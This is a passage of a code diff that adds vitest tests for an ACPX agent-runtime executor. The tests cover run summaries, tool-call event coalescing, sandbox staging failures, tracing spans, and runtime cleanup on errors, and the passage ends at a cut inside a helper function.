+        ensureSession: async () => ({
+          backendSessionId: "backend-session",
+          agentSessionId: "agent-session",
+          runtimeSessionName: "runtime-session",
+        }),
+        startTurn: () => ({
+          events: (async function* () {
+            yield {
+              type: "text_delta",
+              text: "Intermediate setup that must not be published",
+              stream: "output",
+              tag: "agent_message_chunk",
+            };
+            yield {
+              type: "tool_call",
+              text: "Bash",
+              title: "Bash",
+              toolCallId: "tool-without-status",
+              tag: "tool_call",
+            };
+            yield {
+              type: "tool_call",
+              text: "Bash (completed)",
+              title: "Bash",
+              status: "completed",
+              toolCallId: "tool-without-status",
+              tag: "tool_call_update",
+            };
+            yield {
+              type: "text_delta",
+              text: "## Final update\n\n- Remediation verified",
+              stream: "output",
+              tag: "agent_message_chunk",
+            };
+            yield { type: "done", stopReason: "end_turn" };
+          })(),
+          result: Promise.resolve({ status: "completed", stopReason: "end_turn" }),
+          cancel: async () => {},
+        }),
+        close: async () => {},
+      }) as never,
+    });
+
+    const result = await execute({
+      runId: "run-summary-statusless-tool-call",
+      agent: { id: "agent-1", companyId: "company-1" },
+      runtime: {},
+      config: { agent: "custom", agentCommand: "node ./fake-acp.js", stateDir },
+      context: {},
+      onLog: async () => {},
+      onMeta: async () => {},
+    } as never);
+
+    expect(result.exitCode).toBe(0);
+    expect(result.summary).toBe("## Final update\n\n- Remediation verified");
+    expect(result.summary).not.toContain("Intermediate setup");
+  });
+
+  it("buildAcpxRunSummary prefers the last non-empty segment", () => {
+    expect(
+      buildAcpxRunSummary({
+        outputSegments: ["first plan", "second plan", "  final update  "],
+        fallback: "end_turn",
+      }),
+    ).toBe("final update");
+    expect(buildAcpxRunSummary({ outputSegments: ["", "  "], fallback: "end_turn" })).toBe("end_turn");
+  });
+
+  it("coalesces placeholder-title tool updates when the adapter opts in", async () => {
+    const root = await makeTempRoot();
+    const stateDir = path.join(root, "state");
+    const logs: Array<{ stream: string; text: string }> = [];
+    const execute = createAcpxEngineExecutor({
+      createRuntime: () => ({
+        ensureSession: async () => ({
+          backendSessionId: "backend-session",
+          agentSessionId: "agent-session",
+          runtimeSessionName: "runtime-session",
+        }),
+        startTurn: () => ({
+          events: (async function* () {
+            yield {
+              type: "tool_call",
+              text: "Bash (pending)",
+              title: "Bash",
+              status: "pending",
+              toolCallId: "tool-1",
+              tag: "tool_call",
+            };
+            yield {
+              type: "tool_call",
+              text: 'tool call (in_progress): {"command":"',
+              title: "tool call",
+              status: "in_progress",
+              toolCallId: "tool-1",
+              tag: "tool_call_update",
+            };
+            yield {
+              type: "tool_call",
+              text: 'tool call (in_progress): {"command":"ls',
+              title: "tool call",
+              status: "in_progress",
+              toolCallId: "tool-1",
+              tag: "tool_call_update",
+            };
+            yield {
+              type: "tool_call",
+              text: "Running: ls apps (in_progress)",
+              title: "Running: ls apps",
+              status: "in_progress",
+              toolCallId: "tool-1",
+              tag: "tool_call_update",
+            };
+            yield {
+              type: "tool_call",
+              text: "tool call (completed): apps\\npackage.json",
+              title: "tool call",
+              status: "completed",
+              toolCallId: "tool-1",
+              tag: "tool_call_update",
+            };
+            yield { type: "done", stopReason: "end_turn" };
+          })(),
+          result: Promise.resolve({ status: "completed", stopReason: "end_turn" }),
+          cancel: async () => {},
+        }),
+        close: async () => {},
+      }) as never,
+    });
+
+    const result = await execute({
+      runId: "run-tool-call-coalesce",
+      agent: { id: "agent-1", companyId: "company-1" },
+      runtime: {},
+      config: {
+        agent: "custom",
+        agentCommand: "node ./fake-acp.js",
+        stateDir,
+        coalescePlaceholderToolUpdates: true,
+      },
+      context: {},
+      onLog: async (stream: "stdout" | "stderr", text: string) => {
+        logs.push({ stream, text });
+      },
+      onMeta: async () => {},
+    } as never);
+
+    expect(result.exitCode).toBe(0);
+    const toolCallEvents = logs
+      .map((entry) => {
+        try {
+          return JSON.parse(entry.text) as Record<string, unknown>;
+        } catch {
+          return null;
+        }
+      })
+      .filter((parsed): parsed is Record<string, unknown> => parsed?.type === "acpx.tool_call");
+    // The two placeholder-title in-progress updates are dropped; the pending
+    // announcement, the resolved-title in-progress update, and the terminal
+    // completed update all survive.
+    expect(toolCallEvents.map((event) => [event.name, event.status])).toEqual([
+      ["Bash", "pending"],
+      ["Running: ls apps", "in_progress"],
+      ["Bash", "completed"],
+    ]);
+  });
+
   it("captures per-run usage, cost deltas, and billing identity from the ACP runtime", async () => {
     const root = await makeTempRoot();
     const stateDir = path.join(root, "state");
@@ -2592,6 +2951,42 @@ describe("ACPX engine remote managed-home seam (PR 2: per-adapter home seed)", (
     expect(stageArgs.assets ?? []).toEqual([]);
     expect(sessionInputs[0]?.cwd).toBe(remoteCwd);
   });
+
+  it("test_remote_seam_surfaces_referenced_project_staging_failure_reason", async () => {
+    // A referenced project that failed to stage into the sandbox is a first-class
+    // run outcome. The run result carries the failure reason for each dropped
+    // project, and the run log gains one stderr line per failure that names the
+    // project id and the reason. The run stays successful (per-project isolation).
+    const { stateDir, localCwd, executionTarget } = await setupRemoteSandbox();
+    const { result, logs } = await runExecutor(
+      { agent: "custom", agentCommand: "node ./fake-acp.js", stateDir, cwd: localCwd },
+      {
+        authToken: "real-run-jwt",
+        executionTarget,
+        prepareRemoteManagedHome: async (input) => {
+          const stagedRuntime = await input.stage([]);
+          // Inject a per-project staging failure the coordinator would record on a
+          // real sandbox extract failure.
+          stagedRuntime.additionalSourceFailures = [
+            { projectId: "proj-x", error: "extract failed: boom" },
+          ];
+          return { stagedRuntime };
+        },
+      },
+    );
+
+    // The run result carries the failure with its reason.
+    expect(result.referencedProjectStagingFailures).toEqual([
+      { projectId: "proj-x", error: "extract failed: boom" },
+    ]);
+    // The run log gains one stderr line that names the project id and the reason.
+    const failureLine = logs.find(
+      (entry) => entry.stream === "stderr" && entry.text.includes("proj-x"),
+    );
+    expect(failureLine?.text).toBe(
+      "[paperclip] Referenced project proj-x failed to stage; the run continues without it: extract failed: boom\n",
+    );
+  });
 });
 
 describe("ACPX engine remote session-lifecycle re-staging (PR 3: stage once / reuse on compatible resume)", () => {
@@ -3051,6 +3446,83 @@ describe("ACPX engine remote session-lifecycle re-staging (PR 3: stage once / re
     expect(disposedRunIds).toContain("run-a");
   });
 
+  // F5 leak window 1: a seam that throws AFTER a successful stage() must not leave
+  // the fresh in-sandbox runtime behind. The engine records the staged result in
+  // the stage wrapper and disposes it when the seam throws.
+  it("test_seam_throw_after_stage_disposes_fresh_staged_runtime", async () => {
+    const { stateDir, localCwd, executionTarget } = await setupRemoteSandbox();
+    const stagedRuntimes = new Map();
+    let capturedRuntimeRoot: string | null = null;
+    const execute = createAcpxEngineExecutor({
+      warmHandles: new Map(),
+      stagedRuntimes,
+      createRuntime: () => recordingRuntime({ ensureInputs: [] }) as never,
+      prepareRemoteManagedHome: async (input) => {
+        const staged = await input.stage([]);
+        capturedRuntimeRoot = staged.runtimeRootDir;
+        // The seam fails AFTER a successful stage (e.g. an in-sandbox config
+        // materialize step throws). The fresh in-sandbox runtime is already shipped.
+        throw new Error("seam failed after stage");
+      },
+    });
+    const base = baseExecuteArgs({ stateDir, localCwd, executionTarget });
+
+    await expect(
+      execute({ runId: "run-a", runtime: {}, ...base } as never),
+    ).rejects.toThrow("seam failed after stage");
+
+    // The stage shipped a real in-sandbox runtime root (local runner = host FS)...
+    expect(typeof capturedRuntimeRoot).toBe("string");
+    // ...and the seam throw disposed it, so the abandoned managed home is gone.
+    expect(await pathExists(capturedRuntimeRoot!)).toBe(false);
+    // The failed fresh stage was never cached for reuse.
+    expect(stagedRuntimes.size).toBe(0);
+  });
+
+  // F5 leak window 2: when a bridge fails during bring-up on a resume that BORROWED
+  // the cached staged runtime, the rollback must remove the borrowed cache entry
+  // through the same identity guard `discardStagedRuntime` uses — else a later
+  // resume reuses an entry whose host staged-temp was already disposed.
+  it("test_partial_bridge_rollback_removes_borrowed_staged_entry", async () => {
+    const { stateDir, localCwd, executionTarget } = await setupRemoteSandbox();
+    const ensureInputs: Array<Record<string, unknown>> = [];
+    const stagedRuntimes = new Map();
+    let disposeCalls = 0;
+    const execute = createAcpxEngineExecutor({
+      warmHandles: new Map(),
+      stagedRuntimes,
+      createRuntime: () => recordingRuntime({ ensureInputs }) as never,
+      prepareRemoteManagedHome: async (input) => ({
+        stagedRuntime: await input.stage([]),
+        disposeStaged: async () => {
+          disposeCalls += 1;
+        },
+      }),
+    });
+    const base = baseExecuteArgs({ stateDir, localCwd, executionTarget });
+
+    const first = await execute({ runId: "run-a", runtime: {}, ...base } as never);
+    expect(first.exitCode).toBe(0);
+    // The clean turn cached the staged runtime for reuse; nothing disposed yet.
+    expect(stagedRuntimes.size).toBe(1);
+    expect(disposeCalls).toBe(0);
+
+    // Run B resumes the same session and borrows the cached staged runtime, but a
+    // bridge fails during bring-up.
+    vi.mocked(startAdapterExecutionTargetPaperclipBridge).mockImplementationOnce(async () => {
+      throw new Error("paperclip bridge boom");
+    });
+    await expect(
+      execute({ runId: "run-b", runtime: { sessionParams: first.sessionParams }, ...base } as never),
+    ).rejects.toThrow("paperclip bridge boom");
+
+    // The rollback removed the borrowed cache entry through the identity guard, so a
+    // later resume can never reuse an entry whose host staged-temp was disposed...
+    expect(stagedRuntimes.size).toBe(0);
+    // ...and it fired that entry's shared idempotent dispose exactly once.
+    expect(disposeCalls).toBe(1);
+  });
+
   // Greptile P1 "Concurrent Runs Corrupt Cache Ownership": two overlapping runs
   // of the same session key must not ship into the same remote workspace at once.
   // The per-key staging lock serializes the stage-or-reuse section, so their
@@ -3270,14 +3742,27 @@ describe("ACPX engine sandbox-start spans (opt-in root + child parenting)", () =
     expect(turnSpan!.parent).toBe(runRootSpan);
     expect(turnSpan!.ended).toBe(true);
 
+    // The settlement sync-back opens the `sandbox.syncBack` span. It runs at
+    // teardown, so it parents to the run root span, not to the bring-up span.
+    const syncBackSpan = spans.find((span) => span.name === "sandbox.syncBack");
+    expect(syncBackSpan).toBeTruthy();
+    expect(syncBackSpan!.parent).toBe(runRootSpan);
+    expect(syncBackSpan!.ended).toBe(true);
+
     // A codex bring-up over the remote sandbox lane crosses all 7 boundaries.
     // Each boundary span parents to the sandbox bring-up span, not to the run
-    // root or the turn span. The `stage.sync` step also opens three host
-    // sub-step spans — `snapshot.git`, `snapshot.baseline`, and `pack` — around
-    // its git enumeration, baseline content-hash walk, and workspace tarball
-    // build, so those nest one level deeper.
+    // root or the turn span. The `stage.sync` step also opens the two pre-task
+    // sub-step spans — `snapshot.git` and `snapshot.baseline` — plus the
+    // `stage.workspace` inbound task span, and the `pack` span nests one level
+    // deeper under `stage.workspace`.
     const childNames = spans
-      .filter((span) => span !== runRootSpan && span !== startupSpan && span !== turnSpan)
+      .filter(
+        (span) =>
+          span !== runRootSpan &&
+          span !== startupSpan &&
+          span !== turnSpan &&
+          span !== syncBackSpan,
+      )
       .map((span) => span.name)
       .sort();
     expect(childNames).toEqual(
@@ -3291,32 +3776,44 @@ describe("ACPX engine sandbox-start spans (opt-in root + child parenting)", () =
         "snapshot.baseline",
         "snapshot.git",
         "stage.sync",
+        "stage.workspace",
         "workspace.resolve",
       ],
     );
 
-    // The three host sub-step spans nest under the `stage.sync` step span (that
-    // host work runs inside the step), not directly under the bring-up span.
+    // The two pre-task sub-step spans and the `stage.workspace` task span nest
+    // under the `stage.sync` step span (that host work runs inside the step), not
+    // directly under the bring-up span. The `pack` span nests under
+    // `stage.workspace`, because the host builds the tarball inside the task.
     const stageSyncSpan = spans.find((span) => span.name === "stage.sync");
+    const stageWorkspaceSpan = spans.find((span) => span.name === "stage.workspace");
     const packSpan = spans.find((span) => span.name === "pack");
     const snapshotGitSpan = spans.find((span) => span.name === "snapshot.git");
     const snapshotBaselineSpan = spans.find((span) => span.name === "snapshot.baseline");
     expect(stageSyncSpan).toBeTruthy();
+    expect(stageWorkspaceSpan).toBeTruthy();
     expect(packSpan).toBeTruthy();
     expect(snapshotGitSpan).toBeTruthy();
     expect(snapshotBaselineSpan).toBeTruthy();
-    expect(packSpan!.parent).toBe(stageSyncSpan);
+    expect(stageWorkspaceSpan!.parent).toBe(stageSyncSpan);
+    expect(packSpan!.parent).toBe(stageWorkspaceSpan);
     expect(snapshotGitSpan!.parent).toBe(stageSyncSpan);
     expect(snapshotBaselineSpan!.parent).toBe(stageSyncSpan);
     expect(packSpan!.ended).toBe(true);
 
     // Every boundary step span parents to the sandbox bring-up span and ends.
-    // The three `stage.sync` sub-step spans are the exceptions: they parent to
-    // `stage.sync` above.
-    const stageSyncChildren = new Set([packSpan, snapshotGitSpan, snapshotBaselineSpan]);
+    // The `stage.sync` sub-step spans and the run-parented `sandbox.syncBack`
+    // span are the exceptions: they parent above.
+    const nonStartupChildren = new Set([
+      packSpan,
+      stageWorkspaceSpan,
+      snapshotGitSpan,
+      snapshotBaselineSpan,
+      syncBackSpan,
+    ]);
     for (const span of spans) {
       if (span === runRootSpan || span === startupSpan || span === turnSpan) continue;
-      if (stageSyncChildren.has(span)) continue;
+      if (nonStartupChildren.has(span)) continue;
       expect(span.parent, `span "${span.name}" must parent to the startup span`).toBe(startupSpan);
       expect(span.ended, `span "${span.name}" must end`).toBe(true);
     }
@@ -4060,6 +4557,78 @@ describe("ACPX engine sandbox-start spans (opt-in root + child parenting)", () =
     expect(execParents.size).toBe(4);
   });
 
+  it("test_sync_back_runs_inside_sandbox_syncback_span", async () => {
+    const root = await makeTempRoot();
+    const stateDir = path.join(root, "state");
+    const localCwd = path.join(root, "worktree");
+    const codexHome = path.join(root, "codex-home");
+    await fs.mkdir(localCwd, { recursive: true });
+    await fs.mkdir(codexHome, { recursive: true });
+    const executionTarget = await remoteSandboxTarget(root);
+    const { traceContext, spans } = createRecordingStartupTrace();
+
+    // The settlement `syncBack` step runs the managed-home teardown. The teardown
+    // issues one exec through the same host-to-sandbox seam the run uses. The
+    // recorder captures the exec parent, so the test proves the teardown runs
+    // inside the run-parented `sandbox.syncBack` span.
+    let teardownExecFired = false;
+    const execute = createAcpxEngineExecutor({
+      prepareRemoteManagedHome: async (input) => {
+        const stagedRuntime = await input.stage([]);
+        return {
+          stagedRuntime,
+          teardown: async () => {
+            if (!teardownExecFired) {
+              teardownExecFired = true;
+              issueSandboxExecFromStore(traceContext);
+            }
+          },
+        };
+      },
+      createRuntime: () => buildRuntime() as never,
+    });
+
+    const result = await execute({
+      runId: "run-sync-back-span",
+      agent: { id: "agent-1", companyId: "company-1" },
+      runtime: {},
+      config: {
+        agent: "codex",
+        agentCommand: "node ./fake-acp.js",
+        stateDir,
+        cwd: localCwd,
+        env: { CODEX_HOME: codexHome },
+      },
+      context: {},
+      authToken: "real-run-jwt",
+      executionTarget,
+      startupTraceContext: traceContext,
+      onLog: async () => {},
+      onMeta: async () => {},
+      onEvent: async () => {},
+    } as never);
+    expect(result.exitCode).toBe(0);
+    expect(teardownExecFired).toBe(true);
+
+    // One `sandbox.syncBack` span opens, ends, and parents to `task.run`. The
+    // settlement runs the teardown after the turn, so the run parent is
+    // `task.run` at that time.
+    const runSpan = spans.find((span) => span.name === "task.run");
+    expect(runSpan).toBeTruthy();
+    const syncBackSpans = spans.filter((span) => span.name === "sandbox.syncBack");
+    expect(syncBackSpans).toHaveLength(1);
+    const syncBackSpan = syncBackSpans[0]!;
+    expect(syncBackSpan.ended).toBe(true);
+    expect(syncBackSpan.parent).toBe(runSpan);
+
+    // The teardown exec parents to `sandbox.syncBack`, so the sync-back copy-back
+    // runs inside the span, not unparented at teardown.
+    const syncBackExec = spans.find(
+      (span) => span.name === "sandbox.exec" && span.parent === syncBackSpan,
+    );
+    expect(syncBackExec, "the teardown exec must parent to sandbox.syncBack").toBeTruthy();
+  });
+
   it("test_no_sandbox_exec_parents_to_http_root", async () => {
     const root = await makeTempRoot();
     const stateDir = path.join(root, "state");
@@ -4305,7 +4874,7 @@ describe("ACPX engine per-step startup timing (run.startup.step events)", () =>
     }
   });
 
-  it("emits a skipped acp.handshake event when a warm-handle hit skips the handshake", async () => {
+  it("runs a fresh acp.handshake on a compatible second run (host lane re-creates, no warm hit)", async () => {
     const root = await makeTempRoot();
     const stateDir = path.join(root, "state");
     const warmHandles = new Map();
@@ -4331,9 +4900,9 @@ describe("ACPX engine per-step startup timing (run.startup.step events)", () =>
       onMeta: async () => {},
       onEvent: async () => {},
     } as never);
-    // The second run reuses the warm handle, so the handshake does no work. It
-    // must emit exactly one acp.handshake event with outcome = skipped and a
-    // zero wall time, not a misleading zero-work `ok` event.
+    // Amendment B: the first run closed and relaunched (no warm save), so the
+    // compatible second run re-creates the runtime and runs a fresh handshake — one
+    // acp.handshake event whose outcome is not `skipped`.
     await execute({
       runId: "run-warm-2",
       agent: { id: "agent-1", companyId: "company-1" },
@@ -4351,8 +4920,7 @@ describe("ACPX engine per-step startup timing (run.startup.step events)", () =>
       (event) => event.eventType === "run.startup.step" && event.payload?.step === "acp.handshake",
     );
     expect(handshakeEvents).toHaveLength(1);
-    expect(handshakeEvents[0]!.payload?.outcome).toBe("skipped");
-    expect(handshakeEvents[0]!.payload?.durationMs).toBe(0);
+    expect(handshakeEvents[0]!.payload?.outcome).not.toBe("skipped");
   });
 
   it("does not emit startup-step events on a local (non-sandbox) run except workspace.resolve", async () => {
@@ -4377,3 +4945,789 @@ describe("ACPX engine per-step startup timing (run.startup.step events)", () =>
     expect(emitted.has("bridge.process-session")).toBe(false);
   });
 });
+
+describe("ACPX engine run lifecycle corrections (F1: settle every failure after buildRuntime)", () => {
+  beforeEach(() => {
+    vi.clearAllMocks();
+  });
+
+  // A remote sandbox setup that stages the host worktree through the real local
+  // runner, so a run reaches the post-build window with live bridges and a held
+  // staging lease.
+  async function setupRemoteSandbox() {
+    const root = await makeTempRoot();
+    const stateDir = path.join(root, "state");
+    const localCwd = path.join(root, "worktree");
+    const remoteCwd = path.join(root, "remote-workspace");
+    await fs.mkdir(localCwd, { recursive: true });
+    await fs.mkdir(remoteCwd, { recursive: true });
+    await fs.writeFile(path.join(localCwd, "hello.txt"), "hi", "utf8");
+    const executionTarget = {
+      kind: "remote",
+      transport: "sandbox",
+      providerKey: "fake-plugin",
+      remoteCwd,
+      runner: createLocalSandboxRunner(),
+    };
+    return { root, stateDir, localCwd, remoteCwd, executionTarget };
+  }
+
+  it("test_runtime_create_failure_returns_error_result_with_phase_create_runtime", async () => {
+    const root = await makeTempRoot();
+    const execute = createAcpxEngineExecutor({
+      createRuntime: () => {
+        throw new Error("createRuntime boom");
+      },
+    });
+    const result = await execute({
+      runId: "run-create-fail",
+      agent: { id: "agent-1", companyId: "company-1" },
+      runtime: {},
+      config: { agent: "custom", agentCommand: "node ./fake-acp.js", stateDir: path.join(root, "state") },
+      context: {},
+      onLog: async () => {},
+      onMeta: async () => {},
+    } as never);
+
+    // The post-build runtime-creation window failure returns a settled error
+    // result instead of throwing.
+    expect(result.exitCode).toBe(1);
+    expect(result.resultJson?.phase).toBe("create_runtime");
+    expect(result.summary).toContain("createRuntime boom");
+  });
+
+  it("test_runtime_create_failure_stops_bridges_and_releases_staging_lease", async () => {
+    const { stateDir, localCwd, executionTarget } = await setupRemoteSandbox();
+    const paperclipStop = vi.fn(async () => {});
+    const processStop = vi.fn(async () => {});
+    vi.mocked(startAdapterExecutionTargetPaperclipBridge).mockImplementationOnce(
+      async () => ({ env: {}, stop: paperclipStop }) as never,
+    );
+    vi.mocked(startAdapterExecutionTargetProcessSessionBridge).mockImplementationOnce(
+      async () => ({ agentCommand: null, stop: processStop }) as never,
+    );
+    const stagingLocks = new Map<string, Promise<unknown>>();
+    const execute = createAcpxEngineExecutor({
+      stagingLocks,
+      warmHandles: new Map(),
+      stagedRuntimes: new Map(),
+      createRuntime: () => {
+        throw new Error("createRuntime boom");
+      },
+    });
+
+    const result = await execute({
+      runId: "run-create-fail-remote",
+      agent: { id: "agent-1", companyId: "company-1" },
+      runtime: {},
+      config: { agent: "custom", agentCommand: "node ./fake-acp.js", stateDir, cwd: localCwd },
+      context: {},
+      authToken: "real-run-jwt",
+      executionTarget,
+      onLog: async () => {},
+      onMeta: async () => {},
+      onEvent: async () => {},
+    } as never);
+
+    expect(result.exitCode).toBe(1);
+    expect(result.resultJson?.phase).toBe("create_runtime");
+    // Both live bridges stop exactly once.
+    expect(paperclipStop).toHaveBeenCalledTimes(1);
+    expect(processStop).toHaveBeenCalledTimes(1);
+    // The per-session staging lease released, so the lock map does not strand the
+    // next same-session run.
+    expect(stagingLocks.size).toBe(0);
+  });
+
+  it("test_prompt_build_failure_returns_error_result_with_phase_prepare_turn", async () => {
+    const root = await makeTempRoot();
+    const close = vi.fn(async () => {});
+    const execute = createAcpxEngineExecutor({
+      createRuntime: () =>
+        ({
+          ensureSession: async () => ({
+            backendSessionId: "backend-session",
+            agentSessionId: "agent-session",
+            runtimeSessionName: "runtime-session",
+          }),
+          startTurn: () => ({
+            events: (async function* () {})(),
+            result: Promise.resolve({ status: "completed", stopReason: "end_turn" }),
+            cancel: async () => {},
+          }),
+          close,
+        }) as never,
+    });
+
+    // A throwing accessor on a field only `buildPrompt` reads makes the prompt
+    // build fail after the session handshake succeeds.
+    const context: Record<string, unknown> = {};
+    Object.defineProperty(context, "paperclipSessionHandoffMarkdown", {
+      enumerable: false,
+      get() {
+        throw new Error("prompt build boom");
+      },
+    });
+
+    const result = await execute({
+      runId: "run-prepare-fail",
+      agent: { id: "agent-1", companyId: "company-1" },
+      runtime: {},
+      config: { agent: "custom", agentCommand: "node ./fake-acp.js", stateDir: path.join(root, "state") },
+      context,
+      onLog: async () => {},
+      onMeta: async () => {},
+    } as never);
+
+    expect(result.exitCode).toBe(1);
+    expect(result.resultJson?.phase).toBe("prepare_turn");
+    // The established runtime is closed on the pre-turn failure, so no session
+    // leaks.
+    expect(close).toHaveBeenCalledTimes(1);
+  });
+
+  it("test_sandbox_startup_span_ends_exactly_once_on_every_exit_path", async () => {
+    // Each scenario runs a fresh remote bring-up with a recording trace and asserts
+    // the one sandbox.startup span ends exactly once, whatever the exit path.
+    const failingEnsure = () =>
+      ({
+        ensureSession: async () => {
+          throw new Error("ensureSession boom");
+        },
+        startTurn: () => ({
+          events: (async function* () {})(),
+          result: Promise.resolve({ status: "completed", stopReason: "end_turn" }),
+          cancel: async () => {},
+        }),
+        close: async () => {},
+      }) as never;
+    const scenarios: Array<{ name: string; createRuntime: AcpxEngineExecutorOptions["createRuntime"] }> = [
+      { name: "success", createRuntime: () => buildRuntime() as never },
+      {
+        name: "create_runtime failure",
+        createRuntime: () => {
+          throw new Error("createRuntime boom");
+        },
+      },
+      { name: "ensure_session failure", createRuntime: () => failingEnsure() },
+    ];
+
+    for (const scenario of scenarios) {
+      const { stateDir, localCwd, executionTarget } = await setupRemoteSandbox();
+      const { traceContext, spans } = createRecordingStartupTrace();
+      const execute = createAcpxEngineExecutor({
+        warmHandles: new Map(),
+        stagedRuntimes: new Map(),
+        stagingLocks: new Map(),
+        createRuntime: scenario.createRuntime,
+      });
+
+      await execute({
+        runId: `run-span-${scenario.name.replace(/\s+/g, "-")}`,
+        agent: { id: "agent-1", companyId: "company-1" },
+        runtime: {},
+        config: { agent: "custom", agentCommand: "node ./fake-acp.js", stateDir, cwd: localCwd },
+        context: {},
+        authToken: "real-run-jwt",
+        executionTarget,
+        startupTraceContext: traceContext,
+        onLog: async () => {},
+        onMeta: async () => {},
+        onEvent: async () => {},
+      } as never);
+
+      const startupSpans = spans.filter((span) => span.name === "sandbox.startup");
+      expect(startupSpans, `scenario "${scenario.name}" must open one sandbox.startup span`).toHaveLength(1);
+      expect(
+        startupSpans[0]!.endCalls,
+        `scenario "${scenario.name}" must end the sandbox.startup span exactly once`,
+      ).toBe(1);
+    }
+  });
+});
+
+describe("ACPX engine run lifecycle corrections (F2: close the runtime for every pre-turn failure)", () => {
+  const startedAt = "2026-01-01T00:00:00.000Z";
+  const handle = {
+    backendSessionId: "backend-session",
+    agentSessionId: "agent-session",
+    runtimeSessionName: "runtime-session",
+  };
+
+  it("test_persistent_host_failure_closes_recreated_runtime_no_warm_reuse", async () => {
+    const root = await makeTempRoot();
+    const stateDir = path.join(root, "state");
+    const closeSpy = vi.fn(async () => {});
+    let created = 0;
+    const warmHandles = new Map();
+    const execute = createAcpxEngineExecutor({
+      warmHandles,
+      createRuntime: (options) => {
+        created += 1;
+        const opts = options as AcpRuntimeOptions & {
+          onAgentSpawn?: (meta: { pid: number; startedAt: string }) => Promise<void>;
+        };
+        return {
+          ensureSession: async () => {
+            await opts.onAgentSpawn?.({ pid: 4242, startedAt });
+            return handle;
+          },
+          startTurn: () => ({
+            events: (async function* () {})(),
+            result: Promise.resolve({ status: "completed", stopReason: "end_turn" }),
+            cancel: async () => {},
+          }),
+          close: closeSpy,
+        } as never;
+      },
+    });
+    const config = {
+      agent: "custom",
+      agentCommand: "node ./fake-acp.js",
+      stateDir,
+      mode: "persistent",
+      warmHandleIdleMs: 60_000,
+    };
+
+    const first = await execute({
+      runId: "warm-handshake-1",
+      agent: { id: "agent-1", companyId: "company-1" },
+      runtime: {},
+      config,
+      context: {},
+      onLog: async () => {},
+      onMeta: async () => {},
+      onSpawn: async () => {},
+    } as never);
+    expect(first.exitCode).toBe(0);
+    // Amendment B: the first clean persistent turn closes and relaunches instead of
+    // warm-saving, so no warm handle survives.
+    expect(warmHandles.size).toBe(0);
+    expect(created).toBe(1);
+
+    // The second run finds no warm handle, so it re-creates the runtime and fails
+    // while persisting process identity.
+    const second = await execute({
+      runId: "warm-handshake-2",
+      agent: { id: "agent-1", companyId: "company-1" },
+      runtime: { sessionParams: first.sessionParams },
+      config,
+      context: {},
+      onLog: async () => {},
+      onMeta: async () => {},
+      onSpawn: async () => {
+        throw new Error("onSpawn boom");
+      },
+    } as never);
+
+    expect(created).toBe(2);
+    expect(second.exitCode).toBe(1);
+    expect(second.resultJson?.phase).toBe("ensure_session");
+    // Each run closed its own runtime (one per run); no warm entry survived.
+    expect(closeSpy).toHaveBeenCalledTimes(2);
+    expect(warmHandles.size).toBe(0);
+  });
+
+  it("test_missing_session_handle_closes_runtime", async () => {
+    const root = await makeTempRoot();
+    const closeSpy = vi.fn(async () => {});
+    const execute = createAcpxEngineExecutor({
+      createRuntime: () =>
+        ({
+          // A runtime that returns no session handle drives the missing-handle path.
+          ensureSession: async () => undefined,
+          startTurn: () => ({
+            events: (async function* () {})(),
+            result: Promise.resolve({ status: "completed", stopReason: "end_turn" }),
+            cancel: async () => {},
+          }),
+          close: closeSpy,
+        }) as never,
+    });
+
+    const result = await execute({
+      runId: "missing-handle",
+      agent: { id: "agent-1", companyId: "company-1" },
+      runtime: {},
+      config: { agent: "custom", agentCommand: "node ./fake-acp.js", stateDir: path.join(root, "state") },
+      context: {},
+      onLog: async () => {},
+      onMeta: async () => {},
+    } as never);
+
+    expect(result.exitCode).toBe(1);
+    expect(result.resultJson?.phase).toBe("ensure_session");
+    expect(result.errorCode).toBe("acpx_runtime_error");
+    // The constructed runtime is closed so its child process cannot leak.
+    expect(closeSpy).toHaveBeenCalledTimes(1);
+  });
+
+  it("test_host_lane_closes_and_relaunches_every_run_and_leaves_no_warm_entry", async () => {
+    const root = await makeTempRoot();
+    const stateDir = path.join(root, "state");
+    let created = 0;
+    const closes: number[] = [];
+    const warmHandles = new Map();
+    const execute = createAcpxEngineExecutor({
+      warmHandles,
+      createRuntime: (options) => {
+        const id = (created += 1);
+        const opts = options as AcpRuntimeOptions & {
+          onAgentSpawn?: (meta: { pid: number; startedAt: string }) => Promise<void>;
+        };
+        return {
+          ensureSession: async () => {
+            await opts.onAgentSpawn?.({ pid: 1000 + id, startedAt });
+            return handle;
+          },
+          startTurn: () => ({
+            events: (async function* () {})(),
+            result: Promise.resolve({ status: "completed", stopReason: "end_turn" }),
+            cancel: async () => {},
+          }),
+          close: async () => {
+            closes.push(id);
+          },
+        } as never;
+      },
+    });
+    const config = {
+      agent: "custom",
+      agentCommand: "node ./fake-acp.js",
+      stateDir,
+      mode: "persistent",
+      warmHandleIdleMs: 60_000,
+    };
+
+    const first = await execute({
+      runId: "warm-timer-1",
+      agent: { id: "agent-1", companyId: "company-1" },
+      runtime: {},
+      config,
+      context: {},
+      onLog: async () => {},
+      onMeta: async () => {},
+      onSpawn: async () => {},
+    } as never);
+    expect(first.exitCode).toBe(0);
+    // Amendment B: the first clean persistent turn closes runtime #1 and leaves no
+    // warm entry, so the host lane never keeps a live runtime warm.
+    expect(warmHandles.size).toBe(0);
+    expect(closes).toEqual([1]);
+
+    // The second run finds no warm entry, so it re-creates runtime #2 and fails
+    // while persisting process identity; runtime #2 closes.
+    const second = await execute({
+      runId: "warm-timer-2",
+      agent: { id: "agent-1", companyId: "company-1" },
+      runtime: { sessionParams: first.sessionParams },
+      config,
+      context: {},
+      onLog: async () => {},
+      onMeta: async () => {},
+      onSpawn: async () => {
+        throw new Error("onSpawn boom");
+      },
+    } as never);
+    expect(created).toBe(2);
+    expect(second.exitCode).toBe(1);
+    expect(closes).toEqual([1, 2]);
+    expect(warmHandles.size).toBe(0);
+
+    // A later heartbeat also finds no warm entry and constructs a fresh runtime.
+    const third = await execute({
+      runId: "warm-timer-3",
+      agent: { id: "agent-1", companyId: "company-1" },
+      runtime: { sessionParams: first.sessionParams },
+      config,
+      context: {},
+      onLog: async () => {},
+      onMeta: async () => {},
+      onSpawn: async () => {},
+    } as never);
+    expect(third.exitCode).toBe(0);
+    expect(created).toBe(3);
+  });
+});
+
+describe("ACPX engine run lifecycle corrections (F3: one teardown error policy)", () => {
+  beforeEach(() => {
+    vi.clearAllMocks();
+  });
+
+  const okHandle = {
+    backendSessionId: "backend-session",
+    agentSessionId: "agent-session",
+    runtimeSessionName: "runtime-session",
+  };
+
+  async function setupRemoteSandbox() {
+    const root = await makeTempRoot();
+    const stateDir = path.join(root, "state");
